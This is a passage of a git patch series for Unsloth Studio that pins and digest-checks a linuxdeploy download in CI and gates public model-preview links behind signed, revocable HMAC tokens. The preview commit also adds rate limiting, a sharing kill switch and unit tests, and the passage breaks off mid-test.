+          if (!digestEnvLine || digestEnvLine.match(digestEnvRe)[1] !== expectedLinuxdeployDigest) {
+            throw new Error('Desktop Linux release must pin the linuxdeploy SHA-256 digest in the LINUXDEPLOY_SHA256 env');
+          }
+          const sha256Idx = stepLines.findIndex((line) => !isComment(line) && line.includes('sha256sum -c'));
+          if (sha256Idx === -1) {
+            throw new Error('Desktop Linux release must verify the linuxdeploy digest with sha256sum -c before use');
+          }
+          const chmodIdx = stepLines.findIndex((line) => !isComment(line) && /chmod\s+\+x/.test(line));
+          if (chmodIdx !== -1 && sha256Idx > chmodIdx) {
+            throw new Error('Desktop Linux release must verify the linuxdeploy digest before chmod +x');
+          }
           const releaseBodies = [];
           for (let i = 0; i < lines.length; i += 1) {
             const match = lines[i].match(/^(\s*)releaseBody:\s*\|\s*$/);
@@ -587,14 +628,28 @@ jobs:
       - name: Pin linuxdeploy for AppImage
         if: matrix.platform == 'ubuntu-22.04'
         shell: bash
+        env:
+          # Pinning the versioned release path is reproducibility, not
+          # integrity: a GitHub release asset can be replaced (or its delivery
+          # path compromised) after upload. The SHA-256 below is the immutable
+          # digest of this exact asset and is the integrity gate. If linuxdeploy
+          # publishes a new build under this tag, this run fails closed and the
+          # digest must be re-pinned deliberately.
+          LINUXDEPLOY_URL: "https://github.com/linuxdeploy/linuxdeploy/releases/download/1-alpha-20250213-2/linuxdeploy-x86_64.AppImage"
+          LINUXDEPLOY_SHA256: "4648f278ab3ef31f819e67c30d50f462640e5365a77637d7e6f2ad9fd0b4522a"
         run: |
           set -euo pipefail
           tools_dir="$RUNNER_TEMP/tauri-tools-cache/tauri"
           mkdir -p "$tools_dir"
-          curl -fsSL \
-            "https://github.com/linuxdeploy/linuxdeploy/releases/download/1-alpha-20250213-2/linuxdeploy-x86_64.AppImage" \
-            -o "$tools_dir/linuxdeploy-x86_64.AppImage"
-          chmod +x "$tools_dir/linuxdeploy-x86_64.AppImage"
+          dest="$tools_dir/linuxdeploy-x86_64.AppImage"
+          curl -fsSL "$LINUXDEPLOY_URL" -o "$dest"
+          # Verify the digest BEFORE the binary is ever marked executable. The
+          # next step builds the AppImage with the Tauri signing key and a
+          # contents:write GITHUB_TOKEN in scope, so a substituted linuxdeploy
+          # that ran here could exfiltrate signing material or tamper with
+          # published release artifacts. Fail closed on any mismatch.
+          echo "${LINUXDEPLOY_SHA256}  ${dest}" | sha256sum -c -
+          chmod +x "$dest"
 
       # ── Linux: build + sign + upload ──
       - name: Build Linux app

From 80d3434d619f676905e68c62b6284207693d571a Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Thu, 25 Jun 2026 21:40:48 -0700
Subject: [PATCH 115/306] Studio: require signed capability tokens for /p
 preview links (#6666)

* Studio: require signed capability tokens for /p preview links

The public /p preview routes added in #6486 run model load and chat
generation as the admin user with no authentication. The only gate is the
preview ref, a deterministic outputs-root path (run or run/checkpoint) that
is guessable rather than secret. On a network-reachable Studio (--secure
tunnel or -H 0.0.0.0), an unauthenticated caller who guesses a ref can
consume GPU and probe a private fine-tuned checkpoint.

Make the share link an unguessable, revocable capability:

- Sign the canonical ref with a dedicated server-side secret (HMAC-SHA256,
  stored in app_secrets, independent of the JWT/login secret).
- Require a valid token on every /p chat, models, and page request before
  resolving a checkpoint or loading a model; missing or invalid tokens get a
  generic 404 so the surface never confirms a ref exists.
- Accept the token via ?k= (browser link and preview page) or
  Authorization: Bearer (OpenAI-compatible clients).
- Rotate the secret to revoke every outstanding link
  (POST /api/settings/preview-links/rotate).
- Clamp preview generation (max_tokens/max_completion_tokens <= 1024, n = 1)
  and set Referrer-Policy: no-referrer on the page so the token is not
  leaked via Referer.

Training history hands the authenticated owner the signed token, and the
copy-link button builds /p/{ref}?k={sig}.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: honor a lower caller token limit in the preview clamp

Codex review: when only the legacy max_tokens was sent, the clamp left
max_completion_tokens at the 1024 default, and _effective_max_tokens prefers
max_completion_tokens, so a request like max_tokens=16 could still generate up
to 1024 tokens. Derive one effective limit (max_completion_tokens wins, else the
legacy max_tokens) and pin both fields to it so a caller's lower limit is kept.

* Studio: add preview kill switch, rate limit, and revoke-links UI

Follow-ups to the /p preview capability work:

- Public-sharing kill switch: a persisted setting (default on) gates the public
  /p surface. When off, every preview request 404s even with a valid token, and
  the owner UI stops offering share links. GET/PUT /api/settings/preview-sharing;
  enforced in _verify_or_404.
- Per-IP rate limit on the preview chat route: a coarse in-process sliding-window
  limiter (20 req/min/IP) returns 429 + Retry-After before the GPU lock is taken.
  Client IP honors X-Forwarded-For only when UNSLOTH_STUDIO_TRUST_FORWARDED is
  set, matching the login limiter's trust model.
- Settings UI: a "Preview sharing" section with the public-sharing toggle and a
  "Revoke all preview links" button (confirm dialog) that rotates the secret.

Tests cover the kill switch (404 when off), the 429 path, the sliding window,
client-IP trust behavior, and the setting default.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: fix preview-fields sharing arg and refresh sigs after revoke

Codex review:
- P1: get_training_run_detail and update_training_run called _preview_fields
  with only output_dir after it gained a required sharing_on parameter, raising
  a 500 TypeError once get_run succeeded. Pass get_preview_sharing_enabled() at
  both sites; add a detail-endpoint regression test.
- P2: after rotating the preview secret from settings, the history grid still
  held stale preview_sig values, so a freshly copied link would 404. Emit
  emitTrainingRunsChanged() after a successful revoke so the grid refetches
  freshly signed refs.

* Studio: harden preview sharing controls (Codex review)

- Fail closed: a read failure on the preview-sharing kill switch now returns
  False instead of defaulting to enabled, so an unavailable settings DB can't
  reopen the public surface. A missing key still defaults to enabled.
- Per-IP rate limit behind the managed Cloudflare tunnel: client_ip now honors
  CF-Connecting-IP when the socket peer is loopback, so tunneled visitors are
  keyed by their real IP instead of collapsing onto the local cloudflared peer.
- GET /p no longer mints key/share_url when sharing is disabled; it returns
  sharing_enabled=false so clients don't distribute links that 404.
- Settings UI: toggling public sharing emits the training-runs-changed event so
  the history grid shows/hides Copy preview link without a manual refresh.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: harden preview rate limiter and IP keying (Opus review)

From a two-agent review of the PR:

- Rate limiter no longer evicts an active bucket when the table is full: a flood
  of distinct keys could otherwise cycle out a throttled bucket and reset its
  counter. Evict only aged-out buckets; if the table is full of live clients,
  fail closed (deny the new key) instead.
- client_ip keys on the rightmost (proxy-appended) X-Forwarded-For hop when the
  trust env is set; the leftmost is client-spoofable. Documented the
  append/overwrite-proxy assumption.
- _verify_or_404 checks the capability token before the kill-switch DB read, so
  unauthenticated /p spam can't be used as an unbounded settings-DB sink and the
  response is identical regardless of the sharing on/off state.

Tests: nested run/checkpoint happy path + wrong-ref rejection, the eviction
fail-closed behavior, and route-level coverage for the rotate / preview-sharing
settings endpoints.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 studio/backend/assets/preview_page.html       |   7 +-
 studio/backend/auth/storage.py                |  57 +++++
 studio/backend/models/training.py             |   3 +
 studio/backend/routes/preview.py              | 118 +++++++++-
 studio/backend/routes/settings.py             |  55 +++++
 studio/backend/routes/training_history.py     |  29 ++-
 .../backend/tests/test_preview_followups.py   | 143 ++++++++++++
 studio/backend/tests/test_preview_routes.py   | 221 +++++++++++++++++-
 .../tests/test_preview_sharing_settings.py    |  77 ++++++
 studio/backend/tests/test_preview_token.py    |  75 ++++++
 .../tests/test_training_history_update.py     |  17 ++
 studio/backend/utils/client_ip.py             |  71 ++++++
 studio/backend/utils/preview_rate_limit.py    |  67 ++++++
 .../backend/utils/preview_sharing_settings.py |  55 +++++
 studio/backend/utils/preview_token.py         |  52 +++++
 .../features/settings/api/preview-sharing.ts  |  62 +++++
 .../features/settings/tabs/general-tab.tsx    | 150 +++++++++++-
 .../src/features/studio/history-card-grid.tsx |   9 +-
 .../src/features/training/types/history.ts    |   1 +
 studio/frontend/src/i18n/locales/en.ts        |  22 +-
 20 files changed, 1256 insertions(+), 35 deletions(-)
 create mode 100644 studio/backend/tests/test_preview_followups.py
 create mode 100644 studio/backend/tests/test_preview_sharing_settings.py
 create mode 100644 studio/backend/tests/test_preview_token.py
 create mode 100644 studio/backend/utils/client_ip.py
 create mode 100644 studio/backend/utils/preview_rate_limit.py
 create mode 100644 studio/backend/utils/preview_sharing_settings.py
 create mode 100644 studio/backend/utils/preview_token.py
 create mode 100644 studio/frontend/src/features/settings/api/preview-sharing.ts

diff --git a/studio/backend/assets/preview_page.html b/studio/backend/assets/preview_page.html
index 272f7ac89b..36483a824c 100644
--- a/studio/backend/assets/preview_page.html
+++ b/studio/backend/assets/preview_page.html
@@ -283,6 +283,11 @@
     </div>
     <script>
       const base = location.pathname.replace(/\/+$/, "");
+      // The capability token rides in ?k=; location.pathname drops it, so carry it
+      // onto the chat request explicitly. Not stored or logged.
+      const k = new URLSearchParams(location.search).get("k");
+      const chatUrl =
+        base + "/v1/chat/completions" + (k ? "?k=" + encodeURIComponent(k) : "");
       const log = document.getElementById("log"),
         thread = document.getElementById("thread"),
         welcome = document.getElementById("welcome");
@@ -328,7 +333,7 @@
         out.innerHTML = '<span class="dots"><i></i><i></i><i></i></span>';
         let acc = "";
         try {
-          const r = await fetch(base + "/v1/chat/completions", {
+          const r = await fetch(chatUrl, {
             method: "POST",
             headers: { "Content-Type": "application/json" },
             body: JSON.stringify({
diff --git a/studio/backend/auth/storage.py b/studio/backend/auth/storage.py
index 796d03ff68..1f153699d7 100644
--- a/studio/backend/auth/storage.py
+++ b/studio/backend/auth/storage.py
@@ -270,6 +270,63 @@ def compute_identity_proof(nonce: bytes, host: str, port: int) -> str:
     return hmac.new(get_or_create_identity_secret(), msg, hashlib.sha256).hexdigest()
 
 
+# Capability secret for public ``/p`` preview share links. HMAC(secret, ref)
+# turns the deterministic preview ref into an unguessable bearer capability, so a
+# guessed run/checkpoint name can't reach inference. Dedicated (not the per-user
+# JWT secret) so rotating it revokes every shared link without touching logins.
+_PREVIEW_LINK_SECRET_DB_KEY = "preview_link_secret"
+_preview_link_secret_cache: Optional[bytes] = None
+
+
+def get_or_create_preview_link_secret() -> bytes:
+    """Return the preview-link signing secret (hex 32-byte row in app_secrets), creating it once."""
+    global _preview_link_secret_cache
+    if _preview_link_secret_cache is not None:
+        return _preview_link_secret_cache
+
+    conn = get_connection()
+    try:
+        row = conn.execute(
+            "SELECT value FROM app_secrets WHERE key = ?",
+            (_PREVIEW_LINK_SECRET_DB_KEY,),
+        ).fetchone()
+        if row is None:
+            conn.execute(
+                "INSERT OR IGNORE INTO app_secrets (key, value) VALUES (?, ?)",
+                (_PREVIEW_LINK_SECRET_DB_KEY, secrets.token_hex(32)),
+            )
+            conn.commit()
+            row = conn.execute(
+                "SELECT value FROM app_secrets WHERE key = ?",
+                (_PREVIEW_LINK_SECRET_DB_KEY,),
+            ).fetchone()
+        secret = bytes.fromhex(row["value"])
+    finally:
+        conn.close()
+
+    _preview_link_secret_cache = secret
+    return secret
+
+
+def rotate_preview_link_secret() -> bytes:
+    """Rotate the preview-link secret, immediately revoking every outstanding ``/p`` share link."""
+    global _preview_link_secret_cache
+    new_secret_hex = secrets.token_hex(32)
+    conn = get_connection()
+    try:
+        conn.execute(
+            "INSERT OR REPLACE INTO app_secrets (key, value) VALUES (?, ?)",
+            (_PREVIEW_LINK_SECRET_DB_KEY, new_secret_hex),
+        )
+        conn.commit()
+    finally:
+        conn.close()
+
+    secret = bytes.fromhex(new_secret_hex)
+    _preview_link_secret_cache = secret
+    return secret
+
+
 _API_KEY_PBKDF2_ITERATIONS = 100_000
 DESKTOP_SECRET_PREFIX = "desktop-"
 _DESKTOP_SECRET_HASH_KEY = "desktop_secret_hash"
diff --git a/studio/backend/models/training.py b/studio/backend/models/training.py
index 8b6fb36471..e64b6f731a 100644
--- a/studio/backend/models/training.py
+++ b/studio/backend/models/training.py
@@ -603,6 +603,9 @@ class TrainingRunSummary(BaseModel):
     resumed_later: bool = False
     has_preview_model: bool = False
     preview_ref: Optional[str] = None
+    # HMAC capability token for the `/p/{preview_ref}` share link; None when not
+    # previewable. The frontend appends it as `?k=` so a guessed ref can't be used.
+    preview_sig: Optional[str] = None
 
 
 class TrainingRunUpdateRequest(BaseModel):
diff --git a/studio/backend/routes/preview.py b/studio/backend/routes/preview.py
index d5247a2bcf..1fa9055d3a 100644
--- a/studio/backend/routes/preview.py
+++ b/studio/backend/routes/preview.py
@@ -19,17 +19,68 @@ from auth.storage import DEFAULT_ADMIN_USERNAME
 from models.inference import ChatCompletionRequest, LoadRequest
 from routes.inference import load_model, openai_chat_completions
 from state.tool_policy import tools_force_disabled
+from utils.client_ip import client_ip
 from utils.models.checkpoints import list_preview_targets, resolve_preview_checkpoint
+from utils.preview_rate_limit import check_rate_limit
+from utils.preview_sharing_settings import get_preview_sharing_enabled
+from utils.preview_token import sign_preview_ref, verify_preview_ref
 
 logger = get_logger(__name__)
 
 router = APIRouter()
 
-# Public (no key); resolve_preview_checkpoint pins `run` under outputs_root.
-# One model loads at a time, so serialize load+generate across previews.
+# A shared preview link is a public bearer capability; cap per-request generation
+# so a single call can't tie up the (serialized) preview GPU indefinitely.
+_PREVIEW_MAX_OUTPUT_TOKENS = 1024
+
+# Capability-gated (signed ref required); resolve_preview_checkpoint pins `run`
+# under outputs_root. One model loads at a time, so serialize load+generate.
 _preview_lock = asyncio.Lock()
 
 
+def _extract_token(request: Request) -> str | None:
+    """Capability token from the ``?k=`` query (browser link + preview page) or an
+    ``Authorization: Bearer`` header (OpenAI-compatible clients using it as api_key)."""
+    token = request.query_params.get("k")
+    if token:
+        return token
+    header = request.headers.get("authorization", "")
+    if header[:7].lower() == "bearer ":
+        return header[7:].strip() or None
+    return None
+
+
+def _verify_or_404(run: str, checkpoint: str | None, request: Request) -> None:
+    """Require a valid preview capability BEFORE any checkpoint resolve / model load.
+
+    Missing or invalid tokens get a generic 404 -- identical to a non-existent ref --
+    so the public surface never confirms whether a run/checkpoint exists. When an
+    admin has switched public sharing off, every public request 404s regardless of
+    token.
+
+    Verify the (cheap, no-I/O) capability first: an unauthenticated caller with a
+    bad/missing token is rejected without the kill-switch DB read, so spamming
+    ``/p/...`` can't be used as an unbounded settings-DB sink, and the response is
+    identical whether or not sharing is enabled (no on/off oracle).
+    """
+    ref = run if not checkpoint else f"{run}/{checkpoint}"
+    if not verify_preview_ref(ref, _extract_token(request)):
+        raise HTTPException(status_code = 404, detail = "Not found")
+    if not get_preview_sharing_enabled():
+        raise HTTPException(status_code = 404, detail = "Not found")
+
+
+def _enforce_rate_limit(request: Request) -> None:
+    """Throttle the GPU-backed preview chat per client IP (429 on exceed)."""
+    retry_after = check_rate_limit(client_ip(request))
+    if retry_after:
+        raise HTTPException(
+            status_code = 429,
+            detail = "Too many preview requests. Please slow down.",
+            headers = {"Retry-After": str(retry_after)},
+        )
+
+
 def _resolve_or_4xx(run: str, checkpoint: str | None):
     try:
         return resolve_preview_checkpoint(run, checkpoint)
@@ -49,6 +100,21 @@ def _sanitize_preview_payload(
     # Normalize use_adapter (never trust the caller): pin True for LoRA, None for
     # merged. _apply_adapter_state mutates the shared model without restoring, so an
     # unpinned `false` would persist to later visitors who omit the field.
+    #
+    # Cap generation cost on this public, GPU-backed surface. Derive one effective
+    # limit (mirroring _effective_max_tokens: max_completion_tokens wins, else the
+    # legacy max_tokens) and pin BOTH fields to it, so a caller's lower limit is
+    # honored and neither field can exceed the ceiling.
+    requested = (
+        payload.max_completion_tokens
+        if payload.max_completion_tokens is not None
+        else payload.max_tokens
+    )
+    capped_max_tokens = (
+        min(requested, _PREVIEW_MAX_OUTPUT_TOKENS)
+        if requested is not None
+        else _PREVIEW_MAX_OUTPUT_TOKENS
+    )
     return payload.model_copy(
         update = {
             "tools": None,
@@ -67,6 +133,9 @@ def _sanitize_preview_payload(
             "encrypted_api_key": None,
             "provider_base_url": None,
             "use_adapter": True if is_lora else None,
+            "max_tokens": capped_max_tokens,
+            "max_completion_tokens": capped_max_tokens,
+            "n": 1,
         }
     )
 
@@ -105,15 +174,30 @@ async def _serve_chat(
 @router.get("")
 async def list_previews(request: Request, current_subject: str = Depends(get_current_subject)):
     base = str(request.base_url)
+    sharing_on = get_preview_sharing_enabled()
     previews = []
     for target in list_preview_targets():
         ref = quote(target["ref"], safe = "/")
-        previews.append({**target, "url": f"{base}p/{ref}/v1"})
-    return {"object": "list", "data": previews}
+        # Mint the capability for the authenticated owner: ``key`` for OpenAI
+        # clients (Bearer / api_key), ``share_url`` for the browser link. When
+        # public sharing is off, every public /p request 404s, so don't hand out
+        # dead credentials -- omit the capability and signal the disabled state.
+        token = sign_preview_ref(target["ref"]) if sharing_on else None
+        previews.append(
+            {
+                **target,
+                "url": f"{base}p/{ref}/v1",
+                "key": token,
+                "share_url": f"{base}p/{ref}?k={token}" if token else None,
+            }
+        )
+    return {"object": "list", "data": previews, "sharing_enabled": sharing_on}
 
 
 @router.post("/{run}/v1/chat/completions")
 async def preview_chat_latest(run: str, payload: ChatCompletionRequest, request: Request):
+    _verify_or_404(run, None, request)
+    _enforce_rate_limit(request)
     return await _serve_chat(run, None, payload, request)
 
 
@@ -121,6 +205,8 @@ async def preview_chat_latest(run: str, payload: ChatCompletionRequest, request:
 async def preview_chat_checkpoint(
     run: str, checkpoint: str, payload: ChatCompletionRequest, request: Request
 ):
+    _verify_or_404(run, checkpoint, request)
+    _enforce_rate_limit(request)
     return await _serve_chat(run, checkpoint, payload, request)
 
 
@@ -140,13 +226,17 @@ def _models_response(run: str, checkpoint: str | None):
     }
 
 
+# The models/page GET routes only stat the checkpoint dir (no GPU), so they are
+# token-gated but not rate-limited; only the GPU-backed chat path is throttled.
 @router.get("/{run}/v1/models")
-async def preview_models_latest(run: str):
+async def preview_models_latest(run: str, request: Request):
+    _verify_or_404(run, None, request)
     return _models_response(run, None)
 
 
 @router.get("/{run}/{checkpoint}/v1/models")
-async def preview_models_checkpoint(run: str, checkpoint: str):
+async def preview_models_checkpoint(run: str, checkpoint: str, request: Request):
+    _verify_or_404(run, checkpoint, request)
     return _models_response(run, checkpoint)
 
 
@@ -183,14 +273,24 @@ def _preview_page(run: str, checkpoint: str | None) -> HTMLResponse:
     _resolve_or_4xx(run, checkpoint)
     title = run if not checkpoint else f"{run}/{checkpoint}"
     page = _PREVIEW_PAGE_HTML.replace("__TITLE__", html.escape(title))
-    return HTMLResponse(page, headers = {"Content-Security-Policy": _PREVIEW_PAGE_CSP})
+    # no-referrer: the capability token rides in the query string, so keep it out
+    # of the Referer header on any outbound navigation.
+    return HTMLResponse(
+        page,
+        headers = {
+            "Content-Security-Policy": _PREVIEW_PAGE_CSP,
+            "Referrer-Policy": "no-referrer",
+        },
+    )
 
 
 @router.get("/{run}", response_class = HTMLResponse)
-async def preview_page_latest(run: str):
+async def preview_page_latest(run: str, request: Request):
+    _verify_or_404(run, None, request)
     return _preview_page(run, None)
 
 
 @router.get("/{run}/{checkpoint}", response_class = HTMLResponse)
-async def preview_page_checkpoint(run: str, checkpoint: str):
+async def preview_page_checkpoint(run: str, checkpoint: str, request: Request):
+    _verify_or_404(run, checkpoint, request)
     return _preview_page(run, checkpoint)
diff --git a/studio/backend/routes/settings.py b/studio/backend/routes/settings.py
index d01009fc20..f582500f7f 100644
--- a/studio/backend/routes/settings.py
+++ b/studio/backend/routes/settings.py
@@ -8,6 +8,7 @@ from fastapi import APIRouter, Depends
 from pydantic import BaseModel, ConfigDict, Field, field_validator
 
 from auth.authentication import get_current_subject
+from auth.storage import rotate_preview_link_secret
 from loggers import get_logger
 from utils.utils import safe_error_detail, log_and_http_error
 from utils.personalization_settings import (
@@ -31,6 +32,11 @@ from utils.helper_precache_settings import (
     helper_model_disabled_by_env,
     set_helper_precache_enabled,
 )
+from utils.preview_sharing_settings import (
+    DEFAULT_PREVIEW_SHARING_ENABLED,
+    get_preview_sharing_enabled,
+    set_preview_sharing_enabled,
+)
 
 router = APIRouter()
 
@@ -122,6 +128,55 @@ def update_helper_precache(
     return _helper_precache_response(enabled)
 
 
+class PreviewLinkRotateResponse(BaseModel):
+    rotated: bool = True
+
+
+@router.post("/preview-links/rotate", response_model = PreviewLinkRotateResponse)
+def rotate_preview_links(
+    current_subject: str = Depends(get_current_subject),
+) -> PreviewLinkRotateResponse:
+    """Rotate the preview-link signing secret, revoking every previously shared `/p` link."""
+    rotate_preview_link_secret()
+    logger.info("settings.preview_links_rotated subject=%s", current_subject)
+    return PreviewLinkRotateResponse(rotated = True)
+
+
+class PreviewSharingPayload(BaseModel):
+    enabled: bool
+
+
+class PreviewSharingResponse(BaseModel):
+    enabled: bool
+    default_enabled: bool = DEFAULT_PREVIEW_SHARING_ENABLED
+
+
+@router.get("/preview-sharing", response_model = PreviewSharingResponse)
+def get_preview_sharing(
+    current_subject: str = Depends(get_current_subject),
+) -> PreviewSharingResponse:
+    return PreviewSharingResponse(enabled = get_preview_sharing_enabled())
+
+
+@router.put("/preview-sharing", response_model = PreviewSharingResponse)
+def update_preview_sharing(
+    payload: PreviewSharingPayload, current_subject: str = Depends(get_current_subject)
+) -> PreviewSharingResponse:
+    """Enable/disable the public `/p` preview surface. When off, links 404 even with a token."""
+    try:
+        enabled = set_preview_sharing_enabled(payload.enabled)
+    except ValueError as exc:
+        raise log_and_http_error(
+            exc,
+            400,
+            safe_error_detail(exc, fallback = "Invalid preview sharing setting."),
+            event = "settings.update_preview_sharing_failed",
+            log = logger,
+        ) from exc
+    logger.info("settings.preview_sharing_updated subject=%s enabled=%s", current_subject, enabled)
+    return PreviewSharingResponse(enabled = enabled)
+
+
 def _is_bundled_avatar_url(value: str) -> bool:
     parsed = urlsplit(value)
     if parsed.scheme or parsed.netloc:
diff --git a/studio/backend/routes/training_history.py b/studio/backend/routes/training_history.py
index a64d2a938e..c0b5820632 100644
--- a/studio/backend/routes/training_history.py
+++ b/studio/backend/routes/training_history.py
@@ -6,6 +6,7 @@ Training history API routes — browse, view, and delete past training runs.
 """
 
 import json
+from typing import Optional
 
 from fastapi import APIRouter, Depends, HTTPException, Query
 from loggers import get_logger
@@ -28,12 +29,30 @@ from storage.studio_db import (
     update_run_display_name,
 )
 from utils.models.checkpoints import has_preview_model, preview_ref
+from utils.preview_sharing_settings import get_preview_sharing_enabled
+from utils.preview_token import sign_preview_ref
 
 logger = get_logger(__name__)
 
 router = APIRouter()
 
 
+def _preview_fields(output_dir: Optional[str], sharing_on: bool) -> dict:
+    """Previewability + the signed `/p` share ref for a run's output dir.
+
+    The signature is what makes the share link a capability: these routes are
+    authenticated, so only the run's owner ever receives it. When public sharing
+    is switched off, omit the signature so the UI hides the copy-link affordance
+    (and the link would 404 anyway). ``sharing_on`` is resolved once per request.
+    """
+    ref = preview_ref(output_dir)
+    return {
+        "has_preview_model": has_preview_model(output_dir),
+        "preview_ref": ref,
+        "preview_sig": sign_preview_ref(ref) if (ref and sharing_on) else None,
+    }
+
+
 @router.get("/runs", response_model = TrainingRunListResponse)
 async def list_training_runs(
     limit: int = Query(50, ge = 1, le = 200),
@@ -42,14 +61,14 @@ async def list_training_runs(
 ):
     """List training runs, newest first."""
     result = list_runs(limit = limit, offset = offset)
+    sharing_on = get_preview_sharing_enabled()
     return TrainingRunListResponse(
         runs = [
             TrainingRunSummary(
                 **{
                     **r,
                     "can_resume": can_resume_run(r),
-                    "has_preview_model": has_preview_model(r.get("output_dir")),
-                    "preview_ref": preview_ref(r.get("output_dir")),
+                    **_preview_fields(r.get("output_dir"), sharing_on),
                 }
             )
             for r in result["runs"]
@@ -78,8 +97,7 @@ async def get_training_run_detail(run_id: str, current_subject: str = Depends(ge
             **{
                 **{k: v for k, v in run.items() if k != "config_json"},
                 "can_resume": can_resume_run(run),
-                "has_preview_model": has_preview_model(run.get("output_dir")),
-                "preview_ref": preview_ref(run.get("output_dir")),
+                **_preview_fields(run.get("output_dir"), get_preview_sharing_enabled()),
             }
         ),
         config = config,
@@ -111,8 +129,7 @@ async def update_training_run(
         **{
             **{k: v for k, v in refreshed.items() if k != "config_json"},
             "can_resume": can_resume_run(refreshed),
-            "has_preview_model": has_preview_model(refreshed.get("output_dir")),
-            "preview_ref": preview_ref(refreshed.get("output_dir")),
+            **_preview_fields(refreshed.get("output_dir"), get_preview_sharing_enabled()),
         }
     )
 
diff --git a/studio/backend/tests/test_preview_followups.py b/studio/backend/tests/test_preview_followups.py
new file mode 100644
index 0000000000..9981e1dabf
--- /dev/null
+++ b/studio/backend/tests/test_preview_followups.py
@@ -0,0 +1,143 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Unit coverage for the preview follow-ups: rate limiter, client IP, kill switch."""
+
+from pathlib import Path
+import sys
+import types as _types
+
+
+_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
+if _BACKEND_DIR not in sys.path:
+    sys.path.insert(0, _BACKEND_DIR)
+
+_loggers_stub = _types.ModuleType("loggers")
+_loggers_stub.get_logger = lambda name: __import__("logging").getLogger(name)
+sys.modules.setdefault("loggers", _loggers_stub)
+
+import utils.preview_rate_limit as rl
+from utils.client_ip import client_ip
+from utils.preview_sharing_settings import (
+    DEFAULT_PREVIEW_SHARING_ENABLED,
+    _coerce_bool,
+    get_preview_sharing_enabled,
+)
+
+
+# ── Rate limiter ─────────────────────────────────────────────────────────────
+
+
+def test_rate_limit_per_key(monkeypatch):
+    monkeypatch.setattr(rl, "_MAX_REQUESTS", 3)
+    rl.reset()
+    assert rl.check_rate_limit("ip1") == 0
+    assert rl.check_rate_limit("ip1") == 0
+    assert rl.check_rate_limit("ip1") == 0
+    # 4th request over the ceiling -> positive retry-after seconds.
+    assert rl.check_rate_limit("ip1") > 0
+    # A different client is unaffected.
+    assert rl.check_rate_limit("ip2") == 0
+
+
+def test_rate_limit_window_rolls_off(monkeypatch):
+    monkeypatch.setattr(rl, "_MAX_REQUESTS", 1)
+    monkeypatch.setattr(rl, "_WINDOW_SECONDS", 10.0)
+    rl.reset()
+    t = {"now": 1000.0}
+    monkeypatch.setattr(rl.time, "monotonic", lambda: t["now"])
+    assert rl.check_rate_limit("ip") == 0
+    assert rl.check_rate_limit("ip") > 0  # immediately over
+    t["now"] += 11.0  # window elapsed
+    assert rl.check_rate_limit("ip") == 0
+
+
+def test_rate_limit_eviction_does_not_reset_active_bucket(monkeypatch):
+    # A flood of distinct keys must not cycle the table and clear a live limit.
+    monkeypatch.setattr(rl, "_MAX_REQUESTS", 1)
+    monkeypatch.setattr(rl, "_MAX_BUCKETS", 2)
+    rl.reset()
+    assert rl.check_rate_limit("a") == 0
+    assert rl.check_rate_limit("a") > 0  # 'a' throttled (active)
+    assert rl.check_rate_limit("b") == 0
+    assert rl.check_rate_limit("b") > 0  # 'b' throttled; table now full of actives
+    # A new key can't evict an active bucket -> denied (fail closed)...
+    assert rl.check_rate_limit("c") > 0
+    # ...and the flood did not reset 'a'.
+    assert rl.check_rate_limit("a") > 0
+
+
+# ── Client IP ────────────────────────────────────────────────────────────────
+
+
+class _Req:
+    def __init__(
+        self,
+        host,
+        headers = None,
+    ):
+        self.client = _types.SimpleNamespace(host = host) if host else None
+        self.headers = headers or {}
+
+
+def test_client_ip_uses_socket_peer_by_default(monkeypatch):
+    monkeypatch.delenv("UNSLOTH_STUDIO_TRUST_FORWARDED", raising = False)
+    # Forwarded header is ignored unless the operator opts in.
+    req = _Req("203.0.113.9", {"x-forwarded-for": "198.51.100.7"})
+    assert client_ip(req) == "203.0.113.9"
+    assert client_ip(None) == "_unknown"
+
+
+def test_client_ip_uses_rightmost_forwarded_when_trusted(monkeypatch):
+    monkeypatch.setenv("UNSLOTH_STUDIO_TRUST_FORWARDED", "1")
+    # Leftmost is client-spoofable; the trusted proxy appends the real peer on the
+    # right, so the rightmost hop is the one we key on.
+    req = _Req("127.0.0.1", {"x-forwarded-for": "1.2.3.4, 198.51.100.7"})
+    assert client_ip(req) == "198.51.100.7"
+
+
+def test_client_ip_uses_cf_connecting_ip_on_loopback(monkeypatch):
+    # Managed Cloudflare tunnel terminates at loopback; key by the real visitor.
+    monkeypatch.delenv("UNSLOTH_STUDIO_TRUST_FORWARDED", raising = False)
+    req = _Req("127.0.0.1", {"cf-connecting-ip": "198.51.100.7"})
+    assert client_ip(req) == "198.51.100.7"
+
+
+def test_client_ip_ignores_cf_header_from_non_loopback(monkeypatch):
+    # A direct (non-loopback) caller can't spoof CF-Connecting-IP to skew the limit.
+    monkeypatch.delenv("UNSLOTH_STUDIO_TRUST_FORWARDED", raising = False)
+    req = _Req("203.0.113.9", {"cf-connecting-ip": "198.51.100.7"})
+    assert client_ip(req) == "203.0.113.9"
+
+
+def test_client_ip_loopback_without_cf_returns_peer(monkeypatch):
+    monkeypatch.delenv("UNSLOTH_STUDIO_TRUST_FORWARDED", raising = False)
+    assert client_ip(_Req("127.0.0.1")) == "127.0.0.1"
+
+
+# ── Kill-switch setting ──────────────────────────────────────────────────────
+
+
+def test_sharing_defaults_enabled_and_coerces():
+    assert DEFAULT_PREVIEW_SHARING_ENABLED is True
+    assert _coerce_bool("off") is False
+    assert _coerce_bool("on") is True
+    assert _coerce_bool(True) is True
+    assert _coerce_bool("nonsense") is None
+
+
+def test_sharing_missing_key_defaults_enabled(monkeypatch):
+    import storage.studio_db as sdb
+    monkeypatch.setattr(sdb, "get_app_setting", lambda key, fallback = None: None)
+    assert get_preview_sharing_enabled() is True
+
+
+def test_sharing_read_error_fails_closed(monkeypatch):
+    # A transient settings-DB failure must not reopen the public surface.
+    import storage.studio_db as sdb
+
+    def _boom(*args, **kwargs):
